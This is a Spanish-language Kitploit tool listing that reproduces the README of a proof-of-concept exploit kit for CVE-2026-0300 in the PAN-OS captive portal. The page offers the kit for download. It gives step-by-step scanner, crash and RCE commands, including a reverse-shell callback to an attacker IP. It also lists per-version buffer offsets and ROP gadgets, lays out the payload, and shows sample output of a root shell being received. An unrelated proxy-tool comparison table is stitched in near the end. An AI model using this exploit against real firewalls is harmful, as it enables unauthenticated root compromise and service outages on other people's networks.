Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2026-0300-exploit — Palo Alto - CVE-2026-0300 exploit | Kitploit
Herramientas/GitHubGitHub/sam00/poc-cve-2026-0300-exploit
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingShellcode GenerationPayload DevelopmentBinary Exploitation
GitHubsam00/poc-cve-2026-0300-exploit

POC-CVE-2026-0300-exploit

Palo Alto - CVE-2026-0300 exploit

hace 15 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2026-0300 — Explotación de desbordamiento de búfer en el Portal de Autenticación User-ID de PAN-OS

Crítico (CVSS 9.3) — Ejecución remota de código no autenticada en el Portal Cautivo de PAN-OS de Palo Alto Networks

Tabla de Contenidos

  • Descripción General
  • Detalles de la Vulnerabilidad
  • Versiones Afectadas
  • Diagramas de Arquitectura
  • Estructura del Proyecto
  • Instalación
  • Uso del Escáner — Paso a Paso
  • Uso del Exploit — Paso a Paso
  • Diseño del Payload
  • Mitigación
  • Descargo de Responsabilidad

Descripción General

CVE-2026-0300 es una vulnerabilidad crítica de desbordamiento de búfer en el servicio del Portal de Autenticación User-ID (también conocido como Portal Cautivo) del software PAN-OS de Palo Alto Networks. Un atacante no autenticado puede explotar esta vulnerabilidad enviando paquetes especialmente diseñados para ejecutar código arbitrario con privilegios de root en los firewalls de las series PA y VM.

Este repositorio contiene un kit de exploit de prueba de concepto que incluye:

  • Generador de payloads con offsets específicos por versión y shellcode de reverse shell x86_64
  • Escáner para detectar objetivos de Portal Cautivo vulnerables
  • Exploit con tres modos: detección, caída (DoS) y RCE completa

Detalles de la Vulnerabilidad

Descripción

Una vulnerabilidad de desbordamiento de búfer en el servicio del Portal de Autenticación User-ID del software PAN-OS permite a un atacante no autenticado ejecutar código arbitrario con privilegios de root en el firewall mediante el envío de paquetes especialmente diseñados. El servicio HTTP del Portal Cautivo utiliza búferes de pila de tamaño fijo para analizar las cabeceras HTTP, que pueden desbordarse mediante valores de cabecera de tamaño excesivo (Cookie, User-Agent, URI o cuerpo POST).

Configuración Requerida para la Exposición

Ambas condiciones deben cumplirse para que un objetivo sea vulnerable:

  1. Portal de Autenticación User-ID habilitado — Dispositivo > Identificación de Usuario > Configuración del Portal de Autenticación > Habilitar Portal de Autenticación
  2. Perfil de gestión de interfaz con páginas de respuesta — adjuntado a una interfaz L3 en una zona donde pueda ingresar tráfico no confiable/de Internet

Referencia del Aviso

  • Aviso oficial: https://security.paloaltonetworks.com/CVE-2026-0300
  • Guía de mejores prácticas: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

Versiones Afectadas

No afectados: Prisma Access, Cloud NGFW, appliances de Panorama.


Diagramas de Arquitectura

Arquitectura del Sistema```

┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Flujo del Scanner```
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip port  │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443,8843)      │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Captive Portal   │──────────▶│ Not exposed │
│ fingerprint?     │            └─────────────┘
│ (login.esp,      │
│  User-ID, PA-,   │
│  PAN-OS, etc.)   │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract PAN-OS   │
│ version from     │
│ Server header /  │
│ response body    │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Matched ranges │
│ • SSL cert info  │
└──────────────────┘

Flujo del exploit (Modo RCE)```

┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Estructura del Proyecto```
POC-CVE-2026-0300-exploit/
├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Instalación```bash

Clone the repository

git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

Install dependencies (requests is optional — raw sockets are used by default)

pip3 install -r requirements.txt

root@kitploit:~
**Requisitos**: Python 3.8+, solo biblioteca estándar para la funcionalidad principal. `requests` es opcional.

---

## Uso del Escáner — Paso a Paso

El escáner realiza comprobaciones seguras y no intrusivas para identificar objetivos vulnerables del Portal Cautivo de PAN-OS.

### Paso 1: Escanear un solo objetivo```bash
python3 scan.py --target 192.168.1.1

El escáner:

  • Probará puertos comunes (443, 80, 8080, 8443, 8843)
  • Enviará solicitudes HTTP y comprobará las huellas del Portal Cautivo
  • Extraerá la versión de PAN-OS de los encabezados del servidor y del cuerpo de la respuesta
  • Comprobará si la versión se encuentra dentro de los rangos vulnerables
  • Imprimirá un informe codificado por colores

Paso 2: Escaneo con puerto específico```bash

python3 scan.py --target 192.168.1.1 --port 443

root@kitploit:~
### Paso 3: Escanear múltiples objetivos desde un archivo

Crea un archivo `targets.txt` con un objetivo por línea:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
root@kitploit:~
### Paso 4: Guardar resultados como JSON```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json

Ejemplo de salida del escáner```

==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

root@kitploit:~
### Lo que detecta el escáner

| Indicador | Método |
|-----------|--------|
| Portal cautivo expuesto | Coincidencia de huella HTTP (patrones login.esp, User-ID, PA-, PAN-OS) |
| Versión de PAN-OS | Análisis de cabecera de servidor, extracción de regex en el cuerpo de la respuesta |
| Versión vulnerable | Comparación con los rangos de versiones afectadas por CVE-2026-0300 |
| Certificado SSL | Sujeto/emisor del certificado para identificación del objetivo |

---

## Uso del exploit — Paso a paso

El exploit admite tres modos de intensidad creciente.

### Modo 1: Detectar (seguro, no intrusivo)

Envía una cabecera moderadamente sobredimensionada y compara la respuesta con una solicitud normal. NO provoca la caída del servicio.```bash
python3 exploit.py --target 192.168.1.1 --mode detect

Lo que hace:

  • Envía un encabezado Cookie de 4KB (sobredimensionado pero no armado)
  • Envía una solicitud normal para comparación de base
  • Informa si el objetivo responde de manera diferente a la entrada sobredimensionada
  • Indica una vulnerabilidad probable si las respuestas difieren

Modo 2: Crash (Validación de DoS)

Envía una carga útil de desbordamiento de búfer con una dirección de retorno inválida (0x41414141) para bloquear el servicio de Captive Portal.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

root@kitploit:~
**Lo que hace**:
- Genera un payload de desbordamiento específico para la versión
- Sobrescribe la dirección de retorno con 0x4141414141414141
- Lo envía a través del vector de desbordamiento elegido (por defecto: cabecera Cookie)
- Verifica el fallo del servicio con una solicitud de seguimiento
- Informa si el servicio está caído después del payload

**Opciones**:
- `--vector cookie|ua|uri|post` — Elige el vector de desbordamiento (por defecto: cookie)
- `--http` — Usar HTTP en lugar de HTTPS

### Modo 3: RCE Completo (Reverse Shell)

Envía un desbordamiento de búfer con un payload de reverse shell. Inicia un listener para recibir la conexión de retorno.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
    --version 11.2.7 \
    --callback-ip 10.0.0.1 \
    --callback-port 4444

Lo que hace:

  • Genera el payload: padding + gadget ROP (jmp rsp) + NOP sled + shellcode de reverse shell
  • Inicia un listener TCP en la IP:puerto de callback
  • Envía la solicitud HTTP armada al objetivo
  • Espera el callback de reverse shell
  • Reporta éxito si se recibe una conexión

Argumentos requeridos:

  • --version — Versión de PAN-OS objetivo (determina el offset del buffer y el gadget ROP)
  • --callback-ip — Tu dirección IP (debe ser accesible desde el objetivo)
  • --callback-port — Puerto para el callback de reverse shell (por defecto: 4444)

Argumentos opcionales:

  • --vector cookie|ua|uri|post — Vector de desbordamiento (por defecto: cookie)
  • --nop-sled 128 — Tamaño del NOP sled en bytes (por defecto: 128)
  • --timeout 30 — Tiempo de espera de conexión y listener en segundos
  • --http — Usar HTTP en lugar de HTTPS
  • --json report.json — Guardar el informe del exploit como JSON

Ejemplo de salida del exploit (RCE)```

[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

root@kitploit:~
### Versiones y vectores compatibles

**Versiones** (con desplazamientos de búfer específicos por versión):

| Versión | Desplazamiento de búfer | Gadget ROP | Vector predeterminado |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |

**Vectores**:

| Vector | Cabecera/Ubicación | Descripción |
|--------|----------------|-------------|
| `cookie` | Cabecera Cookie | Desbordamiento mediante un valor de Cookie de tamaño excesivo |
| `ua` | Cabecera User-Agent | Desbordamiento mediante un valor de User-Agent de tamaño excesivo |
| `uri` | Ruta URI de la solicitud | Desbordamiento mediante una ruta URI de tamaño excesivo |
| `post` | Cuerpo POST | Desbordamiento mediante datos de formulario POST de tamaño excesivo |

---

## Diseño del Payload

### Disposición del desbordamiento de búfer```
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
│  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
│  offset) │  Pointer │  (jmp    │  (\x90   │                    │
│          │  (8 B)   │  rsp)    │  * N)    │                    │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
           ↑                     ↑
           Buffer overflow       Return address overwritten
           overwrites here       with jmp rsp gadget

Shellcode

El exploit utiliza shellcode de Linux x86_64 independiente de posición que:

  1. Crea un socket TCP (socket(AF_INET, SOCK_STREAM, 0))
  2. Se conecta de vuelta a la IP:puerto del atacante (connect())
  3. Redirige stdin/stdout/stderr al socket (dup2())
  4. Lanza una shell (execve("/bin/sh", NULL, NULL))

Tamaño total del shellcode: ~184 bytes, contiene instrucciones syscall (\x0f\x05).


Mitigación

Acciones Inmediatas

  1. Restrinja el acceso al Portal de Autenticación User-ID — limítelo solo a direcciones IP internas de confianza
  2. Deshabilite las páginas de respuesta en interfaces no confiables (Network > Interface > Advanced > Management Interface Profile)
  3. Deshabilite el Portal de Autenticación si no es necesario (Device > User Identification > Authentication Portal Settings)
  4. Actualice PAN-OS a una versión corregida

Versiones Corregidas

  • PAN-OS 10.2: 10.2.7-h34 y posteriores
  • PAN-OS 11.1: 11.1.15 y posteriores
  • PAN-OS 11.2: 11.2.12 y posteriores
  • PAN-OS 12.1: 12.1.7 y posteriores

Descargo de Responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo contra sistemas que le pertenezcan o para los que tenga permiso explícito por escrito. El uso no autorizado contra sistemas de producción es ilegal y puede violar leyes contra el fraude y el abuso informático.

Los autores no asumen ninguna responsabilidad por el mal uso de esta herramienta. Siga siempre prácticas de divulgación responsable y cumpla con las leyes y regulaciones aplicables.

Descargar herramienta
CampoValor
ID CVECVE-2026-0300
GravedadCRÍTICA
CVSS 4.09.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
CWECWE-787: Escritura fuera de límites
CAPECCAPEC-100: Desbordamiento de búferes
ImpactoEjecución remota de código no autenticada (root)
Estado de ExplotaciónSe ha observado explotación limitada en entornos reales
Rama de PAN-OSVersiones VulnerablesVersión Corregida
10.210.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.1810.2.7-h34+
11.111.1.0–11.1.1411.1.15+
11.211.2.0–11.2.1111.2.12+
12.112.1.0–12.1.612.1.7+
CaracterísticaPortSwiggerOWASP ZAPCaidoBurp Suite
Costo$449/año + 5 herramientas gratuitasGratuitoNúcleo gratuito, Pro $10/mes$449/año
Proxy✅✅✅✅
Repeater✅✅✅✅
Intruder✅✅ (limitado)✅ (limitado)✅
Scanner✅ (potente)✅ (básico)❌✅ (versión Pro)
ExtensibilidadBChecks + ExtensionesComplementosFlujos de trabajoBApps
Soporte API✅ GraphQL✅ REST✅ GraphQL✅ REST
Incrustación del navegador✅ (Chromium)❌ (externo)❌ (externo)✅ (Chromium)
Colaborador✅ (integrado)❌ (requiere configuración)❌✅ (integrado)
Rendimiento⚡ Excelente🐢 Más lento en aplicaciones grandes⚡ Muy rápido (Rust)⚡ Excelente
Curva de aprendizaje📈 Moderado📈 Moderado📈 Suave📈 Pronunciado
Tamaño de la comunidad🔥 🔥 🔥 🔥🔥 🔥 🔥 🔥 🔥🔥 🔥🔥 🔥 🔥 🔥 🔥
Ideal paraProfesionales avanzados + automatizaciónConsciente del presupuesto, aprendizajeVelocidad, flujo de trabajo modernoPruebas manuales profundas
python3 scan.py --targets targets.txt